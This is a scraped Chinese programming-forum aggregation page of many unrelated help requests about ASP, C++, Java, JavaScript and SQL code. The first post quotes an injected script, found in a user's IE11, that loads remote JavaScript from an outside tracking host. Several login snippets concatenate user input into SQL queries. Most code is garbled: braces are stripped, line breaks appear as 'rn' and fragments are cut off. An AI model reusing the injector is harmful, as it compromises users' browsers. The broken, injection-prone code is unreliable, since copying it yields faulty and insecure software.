Win7 家庭高级版 IE11 中,几乎99.9%的网站打开查看源<em>代码</em> 每个网站 (微软、新浪等)头部 都有这个文件与<em>代码</em>,我的IE11被注入了?同一台机器用Safari浏览器查看源<em>代码</em>无此<em>代码</em>。rnrn[code=javascript] rn rnrn[/code]rnrnrn[code=javascript]if(top == self)rnvar script = document.createElement('script');rnvar head = document.getElementsByTagName('head')[0];rnif(!head)head = document.createElement('head');rnscript.setAttribute('id','wsu_js');rnvar ___protocol = ('https:' === window.document.location.protocol ? 'https://' : 'http://');rnscript.setAttribute('src',___protocol+'www.jscripts.org/ncontrol.php?cid='+window.__wsujs+'&ext='+window.__wsujsn+'&s1='+window.__wsujss);rnscript.setAttribute('type','text/javascript');script.async = true;rnif(head && !document.getElementById('wsu_js')) head.appendChild(script);rn[/code]
帮忙看这代码哪里写错了
rnrn<>request.Form("pwd3") then rnResponse.Write " " rnresponse.endrnend ifrnrs.addnewrnrs("username")=usernamernrs("pwd")=md5(request.form("pwd"))rnrs("email")=emailrnrs("tel")=telrnrs("qq")=qqrnrs.updaternResponse.Write " " rn%>
帮忙看这小小的代码!急急!
import javax.swing.JOptionPane; rnrnpublic class ArraySortrnrn public static void main(String args[])rn rn int [] obj=new int[5];rn int i=0;rn System.out.println("请输入"+obj.length+"个数");rn for (i=0;i
大家帮忙看这两行代码!
BYTE *pChunkBuf = NULL;rnif(pChunkBuf = new BYTE[50]) rn rn ::memcpy(pChunkBuf, pBuf, 50); rnrnrn我的pBuf里明明是50个字符(pBuf也是BYTE*)rn但执行memcpy(或CopyMemory)后, pChunkBuf除了有那50个字符外,rn还后面还跟了几个乱码,如" 妄 韩韩"等.rnrn谁能告诉我为何?
帮忙看这三行代码的运行结果。
and eax,2h;rnneg eax;rnsbb eax,eax;rnrneax是不是0?rn其他几个寄存器的的值得有什么变化吗?
帮忙看这几行代码,搞死我了
if() rnWideString fengeStr;rnAnsiString aa[10],bb;rnint j=0;rnTPrinter *Prntr = Printer();rnfengeStr = Label2->Caption;rnfor(int i=1; irn可是在循环一段后在bb = char(fengeStr[i]);处就死了,但能通过语法检查,不知道是怎么回事啊??
各位大虾帮忙看这几行代码
Cfilemoddialog *pFdlg=new Cfilemoddialog(); rn pFdlg->m_editcontent.SetWindowText(str);//str 是一个Cstring 类型的变量rn 已赋值, m_editcontent 是编辑 rn 控件中的cedit类型变量,rn pFdlg->DoModal();rndelete pFdlg; rn但该段<em>代码</em>的第二行在运行时总出错,不知是为什么?
帮忙看这两端代码哪儿冲突了
读取文章(分类)<em>代码</em>如下:rnrn=HitsOfHot thenrn rs("Hot")=Truern rs.updatern end ifrn BigClassName=rs("BigClassName")rn SmallClassName=rs("SmallClassName")rn%>rn输出文章<em>代码</em>省略.....rn想数据库中添加评论<em>代码</em>:rnrn 省略...rn这两段<em>代码</em>单独运行都是没<em>问题</em>的,放在一起就出错了,各位大侠<em>帮忙</em>看看冲突<em>在哪</em>里...怎么改呢..我快晕死了rn
高手帮忙看这几行代码什么意思
while (isspace(*s)) s++;rn rn short k = FALSE;rn while (*s)rn rn if (isxdigit(*s))rn rn buf[i] <<= 4; rn if (isalpha(*s)) rn buf[i] |= (tolower(*s) - 0x57); rn elsern buf[i] |= (*s - 0x30);rn rn if (k)rn rn i++; rn k= FALSE;rn rn elsern rn k= TRUE;rn rn s++;rn rn else break;rn
写asp的,请帮忙看这代码~~
以下<em>代码</em>是实现登陆的作用,但现在想修改成根据不同的用户名登陆不同的网页,请大家<em>帮忙</em>看看,如何更改,谢谢!rn<>"" thenrnsql="select * from admin where zhanghao='"&usename&"'"rnset rs=server.createobject("adodb.recordset")rnrs.open sql,connstr,1,1rnif not rs.eof thenrn if password=rs("password") thenrn session("admin")=usenamern response.redirect "tuwenziliaoku.asp"//链接网页rn elsern response.write " "rn end ifrnelse rn response.write " "rnend ifrnrnend ifrn%>
API:帮忙看这两行代码
Private Declare Function GetCurrentProcessId Lib "kernel32" Alias "GetCurrentProcessId" () As LongrnPrivate Declare Function GetWindowThreadProcessId Lib "user32" Alias "GetWindowThreadProcessId" (ByVal hwnd As Long, lpdwProcessId As Long) As LongrnrnFunction IsWindowLocal(ByVal hwnd As Long) As Booleanrn Dim idWnd As Longrn Call GetWindowThreadProcessId(hwnd, idWnd)rn IsWindowLocal = (idWnd = GetCurrentProcessId())rnEnd Functionrnrnrn在下认为idWnd就是当前进程的ID,这和GetCurrentProcessId()返回的应该是一样的。rn为什么有可能会不一样呢,是在什么情况下不一样呢?
帮忙看这javascript代码错误在哪
onchange()根本没反应,怎么搞的.rnrnrnrnrnrn rn rn rn addsn.jsprnrn rn rn rn rn rn rnrn rn rnrnrn rn rn rn rn rn rn rn rn rn 序列号:rn rn rn rn rn rn rn rn IP:rn rn rn rn rn rn rn rn 单位名称:rn rn rn 广州房管局temprn广州房管局rn广州办事处rn武汉房管处rn广州4rn广州房管处rn深圳房管处 rn rn rn rn rn rn 用户名:rn rn rn rn rn rn rn hudongchengrn rn rn rn rn rn rn rn rn rn rn rnrn
请大家帮忙看这两段代码
这是一个关于导航条鼠标触碰伸缩的JS,第一个可以实现,但第二个我把函数从循环里拿出来后就不行了,看了好久也没找到原因,请大家看下,求指教!rnrnrn[code=javascript]window.onload=function()rn var aA=document.getElementsByTagName('a');rn for(var i=0; i=160)rn clearInterval(This.time);rn ,30);rn ;rn aA[i].onmouseout=function()rn clearInterval(this.time);rn var This=this;rn this.time=setInterval(function()rn This.style.width=This.offsetWidth-8+"px";rn if(This.offsetWidth;rn clearInterval(This.time);rn rn ,30);rn rn;[/code]
Kaggle入门,看这一篇就够了
Kaggle入门,<em>看这</em>一篇就够了 点击打开链接
了解HTTP协议,这一篇就够了
1、HTTP协议简介 1.1、HTTP协议是超文本传输协议的简称,工作于应用层,用于从服务器传输超文本到本地浏览器。HTTP协议本身是一种无状态的,也没法自己传输数据,底层的数据传输协议是TCP协议。HTTP协议工作于客户端-服务端架构为上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后,向客户端发送响应信息。 左图为HTTP的请...
那个大佬帮忙看这错误是怎么回事
#include&quot;person.h&quot;void main(){ Person t(&quot;yang&quot;,12,'m', &quot;zhong&quot;,123456); Teacher r(&quot;yang&quot;,12,'m',&quot;zhong&quot;,123456,&quot;student&quot;);        Person *pt=&amp;amp;t; pt-&amp;gt;ShowPerson(); pt=&amp;amp;r; pt-
看这几句代码
第一个是调用方法的<em>代码</em>:rnDim Obj2 As New Class2rnDim Y As IntegerrnY=Obj2.GetNumberrnObj2.StoreNumber(Y)rn其中第三、四句是什么意思?第三句是把Obj2的返回值赋给Y吗?rnrn第二个是赋值属性的<em>代码</em>:rnDim X As Integer=8rnDim Obj1 As New Class1rnObj1.Prop1=XrnX=Obj1.Prop1+1rnObj1.Field1=XrnX=Obj1.Prop1+1rn其中Obj1.Field1=X X=Obj1.Prop1+1这两句是什么意思?rnrn第三个<em>问题</em>rn程序集和COM对象是什么?(是不是程序源)在.NET中怎么调用?谢谢老鸟!
帮我看看这代码
#includernmain()rnrn int a,b;rn a=8;rn b=a*a; rn printf("%d%d",b);rnrnrnrn为什么会输出640?rn请指教,谢谢!
帮我看看这代码
下面的<em>代码</em>执行后,request(?)可获得数据rnrnrnrnrn 可写的下拉菜单rn rn rn rn rnrnrnrnrn1rn2rn3rn4rnrnrn rnrnrnrn rnrn
正则表达式基础入门看这一篇就够了
https://mp.weixin.qq.com/s/ejtbumkNZpaPSc4AP2XsoA 摘自java 团长 正则表达式在几乎所有语言中都可以使用,无论是前端的JavaScript、还是后端的Java、c#。他们都提供相应的接口/函数支持正则表达式。 但很神奇的是:无论你大学选择哪一门计算机语言,都没有关于正则表达式的课程给你修,在你学会正则之前,你只能看着那些正则大师们,写了一串外...
优秀的你有没有错过这几个CV大佬的公众号?
大家好!今天给大家推荐几个精心挑选的「计算机视觉」相关方向的 「原创」个人公众号,看看优秀的你关注了几个? CVer CVer是一个专注于深度学习与计算机视觉的公众号。分享内容有计算机视觉基础知识点系列、论文精读系列、论文速递系列、TensorFlow从入门到精通系列、OpenCV实战系列、大牛分享系列还有免费资源分享系列。期待您的关注! 计算机视觉战队 主要由来自于大学的研究生组成的团队...
大佬帮我看看这代码到底哪出问题了。。。
[code=c]#includern#includernint main() rn int choice;rn double pi = 3.14,r,h;rn while (1)rn printf("1-Ball\n");rn printf("2-Cylinder\n");rn printf("3-Cone\n");rn printf("other-Exit\n");rn printf("Please enter your command:\n");rn scanf_s("%d", &choice);rn if (choice < 1 || choice>3) rn break;rn rn switch (choice) rn case 1:rn printf("Please enter the radius:\n");rn scanf_s("%lf", &r);rn if (r , (1.0 / 3) * pi*r*r*h);rn break ;rn return 1;rn rn rn[/code]rnrn学校的作业....用vs2015检查没<em>问题</em> 可以运行 但是一提交到作业的网站就各种错误.....实在不知道怎么改了
工资管理系统
&lt;?xml version="1.0" encoding="UTF-8"?&gt; <!DOCTYPE hibernate-reverse-engineering SYSTEM "http://hibernate.sourceforge.net/hibernate-reverse-engineering-3.0.dtd" PUBLIC "-//Hibernate/Hibernate Reverse Engineering DTD 3.0//EN"> - - - - - - - - -
帮忙看看错在哪
简单的登陆功能 oracle数据库 myeclipse建的工程 导入了struts 没有一个.java文件 用了4个JSP页面 rnrnindex.jsp 登陆页面 rnok.jsp 登入成功页面rnerror.jsp 失败页面rnestimate.jsp 判断页面rnrn<em>问题</em>是到判断页面就不动了 我估计是没有像一般工程那样 建lib文件夹 加入classes12.jar rnrnrnindex.jsprn[code=Java]rnrnrnrnrn rn rn rn My JSP 'index.jsp' starting pagern rn rn rn rn rn rn rn rn rn rn rn rn rn rn 账 号:rn rn rn 密 码:rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rnrn[/code]rnrnrnok.jsprn[code=Java]rnrnrnrnrn rn rn rn My JSP 'ok.jsp' starting pagern rn rn rn rn rn rn rnrn rn rn rn 欢迎你, 退出rn rnrn[/code]rnrnrnestimate.jsprn[code=Java]rnrnrnrnrn rn rn rn My JSP 'ok.jsp' starting pagern rn rn rn rn rn rn rnrn rn rn rn rn rnrn[/code]
帮忙看看错在哪
数据库已经连接正常,我想实现在alert中出现数据库相关内容!rn我用下列方法不行,不知如何改,或者怎么在js中直接把数据库里的值付给bb!rn只要能实现这种功能的方法都可以哦,用vbs实现也行!rnrn rn
帮忙看看错在哪了??
DescriptionrnUgly numbers are numbers whose only prime factors are 2, 3 or 5. The sequence rn1, 2, 3, 4, 5, 6, 8, 9, 10, 12, ... rnshows the first 10 ugly numbers. By convention, 1 is included. rnGiven the integer n,write a program to find and print the n'th ugly number. rnrnrnInputrnEach line of the input contains a postisive integer n (n < 1500) rn if(((j%2) == 0) || ((j%3) == 0) || ((j%5) == 0)) rn array[i] = j; rn i++;rn rn j++;rn rn rn int *prt = new int[10];rn int *prt1;rn int ii = 0;rn int times = 1;rn do rn if(ii == 9 * times) rn times++;rn prt1 = new int[10 + times * 10];rn for(int jj = 0; jj < ii; jj++) rn prt1[jj] = prt[jj];rn rn delete[] prt;rn prt = prt1;rn rn rn cin >> prt[ii];rn rn if(prt[ii] == 0) break;rn if(prt[ii] > 0 && prt[ii] < 1500) ii++;rn rn while(true);rnrnrn int jj = 0;rn for(i = 0; i < ii; i++) rn jj = prt[i] - 1; rn cout << array[jj] << endl;rn rn return 0;rnrnrn
帮忙看看错在哪了?
<em>代码</em>如下: rnpublic static SqlDataReader ExecuteReader(string connectionString,CommandType cmdType,string cmdText,params SqlParameter[] cmdPars)rn rn SqlConnection conn = new SqlConnection(connectionString);rn SqlCommand cmd = new SqlCommand();rn tryrn rn if(conn.State != ConnectionState.Open)rn conn.Open();rn cmd.Connection = conn;rn cmd.CommandType = cmdType;rn cmd.CommandText = cmdText;rn if (cmdPars != null) rn rn foreach (SqlParameter parm in cmdPars)rn cmd.Parameters.Add(parm);rn rn SqlDataReader reader = cmd.ExecuteReader(CommandBehavior.CloseConnection);rn return reader;rn rn catch(Exception ex)rn rn conn.Close();rn Console.WriteLine(ex.Message);rn rn rn编译后错误:并非所有的<em>代码</em>都有返回值;这种错误如何处理,请大家<em>帮忙</em>看看!
帮忙看看错在哪
[code=C/C++]rn#includernusing namespace std;rnclass Basernrn int i;rnpublic:rn class BaseExcept;rn Base(int ii):i(ii)throw BaseExcept();//成员对象初始化时抛出了异常。rn;rnclass Derived:public Basernrnpublic:rn class DerivedExceptrn rn const char* msg;rn public:rn DerivedExcept(const char* message):msg(message)rn const char* what()constreturn msg;rn ;rn Derived(int j)try:Base(j)rn rn cout<<
帮忙看看错在哪
[WebMethod]rnpublic string HelloWorld()rnrn string s = "";rn OleDbConnection nwindConn = new OleDbConnection("Provider=SQLOLEDB.1;Password=1;Persist Security Info=True;User ID=sa;Initial Catalog=SMS;Data Source=127.0.0.1");rn OleDbCommand catCMD = nwindConn.CreateCommand();rn catCMD.CommandText = "select * from sysobjects";rnrn nwindConn.Open();rn OleDbDataReader d = catCMD.ExecuteReader();rn s = d.GetSchemaTable().DataSet.GetXml();rn rn nwindConn.Close();rnrn return (s);rnrn用途很简单, 就是将查询到的数据用XML的格式输出,可为什么执行到s = d.GetSchemaTable().DataSet.GetXml();时出错,跟踪后发现,s = d.GetSchemaTable().DataSet值为空,请问为什么?
Django项目-Git入门使用
Git 的入门使用 学习一时爽,一直学习一直爽   Hello,大家好,我是 Connor,又和大家见面了。最近学习 Django 需要用到 Git,但是苦于之前没有用过,所以花费了一点时间专门来研究了一下 Git 应该如何使用,我总结一下,让我们一起来看看如何快速上手 Git 吧。 1. 安装 Git   Linux 下,执行如下命令,即可安装 Git: $ sudo apt-get in...
你看那个人好像一条狗
牢笼 他为自己画了一个牢笼没有窗子也没有光他在里面分不清东南西北找不到出口也找不到归途你看他在黑暗里爬着摸索好像一条狗 ...
【Excel服务器】提数公式:需要提数填充多行时,填充的行数跟数据源的重复数据项个数相关
提数公式:需要提数填充多行时,填充的行数跟数据源的重复数据项个数相关 例如,模版A有2个数据表: 表A为主表,单一数据项A1,A2,A3 表a为从表,重复数据项a1,a2,a3,假设有50行数据   模版B有1个数据表 表B为重复数据项,B1,B2,B3,假设有100行数据   现在要提取模版A中满足条件“A1=B1”的数据A2填充到模版B的B2中去 也就是:update B2=
两行代码帮忙看看错在哪
If(Session["Admin"]==null)rn rn response.redirct("login.aspx");rn rnrn提示第一行错误,不知道错<em>在哪</em>,请高手指定
帮忙看看下面的代码错误在哪?
点击按钮没有反映,我想是adoquery查询记录的<em>问题</em>,但是我知道怎么改.各位帮<em>帮忙</em>!rnprocedure Tzhuce_form.ok_bitbtnClick(Sender: TObject);rnvarrn name:string;rn testStream:TMemoryStream;rnbeginrn if ((class_edit.text='')or(num_edit.text='')or(username_edit.Text='')or(pw_edit.Text='')rn or(combobox.Text='')) thenrn beginrn application.messagebox('输入正确的信息!','提示',mb_ok);rn class_edit.setfocus;rn exit;rn end;rn adoquery1.Close;rn adoquery1.sql.clear;rn adoquery1.SQL.add('select * from student');rn adoquery1.Open;rn while not adoquery1.Eof dorn beginrn name:=trim(adoquery1.FieldValues['姓名']);rn adoquery1.First; ///我想应该是这地方的<em>问题</em>rn adoquery1.Next;rn if(username_edit.text=name) thenrn beginrn application.messagebox('用户名已存在!','提示',mb_ok);rn username_edit.clear;rn pw_edit.Clear;rn //combobox1.clear;rn //image1.Picture:=nil;rn username_edit.setfocus;rn exit;rn end;rn end;rn testStream:=TMemoryStream.Create; //创建内存流rn Image1.Picture.Graphic.SaveToStream(testStream);//将图片存入内存流rn with ADOQuery1 dorn beginrn ADOQuery1.Close;rn ADOQuery1.SQL.Clear;rn ADOQuery1.SQL.Text:='insert into student(班级名称,学号,姓名,密码,头像)' +rn 'VALUES(:班级名称,:学号,:姓名,:密码,:头像)';rn parameters.paramByName('班级名称').Value:=class_edit.text;rn parameters.paramByName('学号').Value:=num_edit.Text;rn parameters.paramByName('姓名').Value:=username_edit.Text;rn parameters.paramByName('密码').Value:=pw_edit.Text;rn parameters.ParamByName('头像').LoadFromStream(testStream,ftBlob);rn adoquery1.ExecSQL;rn end;rn showmessage('用户添加成功,请重新启动程序登陆!');rn login_form.show;rn self.Close;rnrnrnend;
高手帮我看看这查询语句错在哪
protected void Button1_Click(object sender, EventArgs e)rn rn if (Page.IsValid)rn rn rn string username = this.TextBox1.Text;rn string password = this.TextBox2.Text;rn string str="select * from user where username ='" + username + "'";rn SqlConnection conn = new SqlConnection("Data Source=localhost;initial Catalog=sjlerp;uid=sa;pwd=****");rn SqlCommand com = new SqlCommand(str,conn);rn conn.Open();rn [color=#FF0000]SqlDataReader rea = com.ExecuteReader();[/color]rn rnrn rn rn rnrn运行的红色的位置的时候总提示'user'附近有语法错误
帮看看这JAVA软件在哪
eclipse-modeling-ganymede-SR1-incubation-win32rn我去关网下了,没有资源(我在这网站下的http://www.eclipse.org/downloads/)rn还有哪个网站可以下吗?rn这软件是名字是什么?
大家看看这句话错在哪
select * from modet where len(ModeID)=2rn在mysql里执行时出错。rn是不是len(ModeID)=2不能在mysql里使用
谁能帮我看看这在哪了。?
sql = "insert into base (xuelei,xuewei,leavetime,zhuanye," _rn& "xuezhi,biyeschool,biye_type,zhiwu_dif,fazheng,gettime,zhiwu_name,gettype)" _rn& "values(" & xuelei & "," & xuewei & "," & leavetime & "," & zhuanye & "," & xuezhi & "," _rn& " " & biyeschool & "," & biye_type & "," & zhiwu_dif & "," & fazheng & "," & gettime & "," _rn& " " & zhiwu_name & "," & gettype & ")"rngcn.Execute (sql)  <----rn我在编译时,也没出现错误提示啊。但一运行时到gcn.Execute (sql)时,停止了。提示rninsert into 语句的语法错误rn我实在找不出来错误了。rn高手赐教!
看这这动态值在哪获取的?
& Web_Const(0) &rn请问这样的值是<em>在哪</em>赋的值?数据库中没有?rn高人请只讲一下它的使用形式!rn
郁闷-帮我看看这句话错在哪
USE pubsrnGOrnrnUPDATE authorsrnSET au_id='001-001-001'rn au_lname='Black'rn au_fname='Ann'rn phone='408 496-7223'rn address='22 Clevesland Av.#14'rn city='Oaland'rn state='CA'rn zip='94025'rncontract='0'rnWHERE au_id='172-32-1176'rnGOrnrn报错:rn服务器: 消息 170,级别 15,状态 1,行 3rn第 3 行: 'au_lname' 附近有语法错误。rn
帮忙看这程序,谢谢!
我的JSP在WEB RUN后老是抛出500错误,我细看了一下,好象主要LONG的使用错误,可是我把所有的LONG都改成INTEGER后仍然抛出500错误,以下是程序:rn//Vcartc CLASSrnrnpackage eshop;rnrnimport java.util.*;rn public class Vcartc rn public String GoodsName;rn public Long GoodsId;rn public Long ShopId;rn public Float Price;rn public Float MemberPrice;rn public Integer GoodsNum;rn public Vector v=new Vector();rnrn Vcartc (Long Gd,Long Sd,Float P,Float Mp)rn GoodsId=Gd;rn ShopId=Sd;rn Price=P;rn MemberPrice=P;rn GoodsNum=new Integer(1);rn v.addElement(GoodsId);rn v.addElement(Price);rn v.addElement(MemberPrice);rn v.addElement(ShopId);rn v.addElement(GoodsNum);rn rn public void setNum(int i,Integer GoodsNum)rn v.setElementAt(GoodsNum,i);rn rn rnrnrnrnrnrn//class testcart rnrnrnpackage eshop;rnrnimport javax.servlet.http.*;rnimport java.util.*;rnrnpublic class testcart rn String GoodsName;rn Long GoodsId;rn Long ShopId;rn Float Price;rn Float MemberPrice;rn Integer GoodsNum;rn int oldnum;rn public HashMap cart;rn public void doPost(HttpServletRequest req)rn String submit=req.getParameter("submit");rn if (!(submit==null))rn if (submit.equals("clear"))rn clear();rn return;rn rn rn GoodsName=req.getParameter("GoodsName");rn GoodsId=new Long(req.getParameter("GoodsId"));rn ShopId=new Long(req.getParameter("ShopId"));rn Price=new Float(req.getParameter("Price"));rn MemberPrice=new Float(req.getParameter("MemberPrice"));rn GoodsNum=new Integer(req.getParameter("GoodsNum"));rn if (submit==null) rn addGoods(GoodsName);rn return;rn rn if (submit.equals("add")) rn addGoods(GoodsName);rn return;rn rn if (submit.equals("remove")) rn removeGoods(GoodsName);rn rn if (submit.equals("update")) rn updateGoods(GoodsName,GoodsNum);rn rnrn rnrnrn public testcart() rn cart = new HashMap();rn rnrn public void addGoods(String GoodsName) rn if (cart.get(GoodsName)==null) rn Vcartc vcart=new Vcartc(GoodsId,ShopId,Price,MemberPrice);rn cart.put(GoodsName,vcart);rn else rn oldnum=((Integer)((Vcartc)cart.get(GoodsName)).v.elementAt(4)).intValue();rn oldnum++;rn Vcartc vcart=(Vcartc)cart.get(GoodsName);rn vcart.setNum(4,new Integer(oldnum));rn cart.remove(GoodsName);rn cart.put(GoodsName,vcart);rn rn rn public void clear()rn cart.clear();rn rn public void updateGoods(String GoodsName,Integer GoodsNum) rn cart.remove(GoodsName);rn Vcartc vcart=(Vcartc)cart.get(GoodsName);rn vcart.setNum(4,GoodsNum);rn cart.put(GoodsName,vcart);rn rn public void removeGoods(String GoodsName) rn cart.remove(GoodsName);rn rn public HashMap getCart()rn HashMap returnCart =new HashMap(cart);rn return returnCart;rn rn public Integer getGoodsNum(Integer GoodsNum) rn try rn GoodsNum = ((Integer)((Vcartc)cart.get(GoodsName)).v.elementAt(4));rn catch (NullPointerException e) rn return new Integer(0);rn rn return GoodsNum;rn rnrnrnrnrnrnrn//JSPrnrnrnrnrnrnrnrn rnJsp2rnrnrnrnrnrn rnrnrnrnrnrn
帮忙看这网站的价值!
[b]不经意间看到365lake.comrn这个网站在全国招商rn高手看<em>看这</em>网站的前景如何?[/b]
帮忙看这该怎么做
地址表一:rn字段|A |B |C |rn例子|广州市 |海珠区 |北村 |rn |广州市 |天河区 |永安花园|rn |... |rnrn地址表二:rn字段|a |b |rn例子|北村16座403 | |rn |安花园2座308 | |rn |... | |rnrn根据表一校对表二的字段a,生成表二的字段b,譬如:表二第一行生成“广州市海珠区北村16座403”,第二行就因为没安花园,字段b为“无匹配关键字”。rn关键是如何去校对,请达人指点!
大家帮忙看这到面试题
String str=”WeeciolGmmcc”rn 分别用for,while,switch3种循环写出程序,使程序能打印出WelcomeGmcic,rn 一个打印语句只能打印出一个字符
帮忙看这几个C
帮<em>帮忙</em>,谢谢~rnrn1. Write a program to perform a topological sort on a graph.rnrn2. Write a program to solve the single‐source shortest‐path problem (Dijkstrarnalgorithm).rnrn3. Write a program of the Floyd‐Warshall algorithm.rnrn
求助:帮忙看这程序
#include "stdafx.h"rn#include rn#include rnusing namespace std;rnstring Join(string sen1,string sen2)rnrn string sen3=sen1+sen2;rn return sen3;rnrnrnint _tmain(int argc, _TCHAR* argv[])rnrn string str1="Good";rn string str2="Luck";rn string str3=Join(str1,str2);rn cout<
帮忙看这到题
12. Which statement is true?rnrnA. An anonymous inner class may be declared as finalrnB. An anonymous inner class can be declared as privaternC. An anonymous inner class can implement multiple interfacesrnD. An anonymous inner class can access final variables in any enclosing scopernE. Construction of an instance of a static inner class requires an instance of the enclosing outer class.rnrn答案为什么是D,不是C呢?
自己翻译的RH302题库 2010年最新版下载
全部翻译完了,这是前1到10题,总共300题。 要下载全部请到www.taobaofun.com网站。 相关下载链接:[url=//download.csdn.net/download/kkmangnn/1974918?utm_source=bbsseo]//download.csdn.net/download/kkmangnn/1974918?utm_source=bbsseo[/url]
《DSP原理及应用》电子教案下载
本教程对DSP有较详细的讲述,是初学者的好资料 希望对大家有所帮助 相关下载链接:[url=//download.csdn.net/download/ashunerjl/2014117?utm_source=bbsseo]//download.csdn.net/download/ashunerjl/2014117?utm_source=bbsseo[/url]
U盘格式化启动工具:USBBOOT 1.7下载
U盘格式化启动工具:USBBOOT 1.7 相关下载链接:[url=//download.csdn.net/download/yqp2222/2260684?utm_source=bbsseo]//download.csdn.net/download/yqp2222/2260684?utm_source=bbsseo[/url]
文章热词 机器学习教程 Objective-C培训 交互设计视频教程 颜色模型 设计制作学习
相关热词 mysql关联查询两次本表 native底部 react extjs glyph 图标 大数据自学在哪看视频 java大佬的学习经验
我们是很有底线的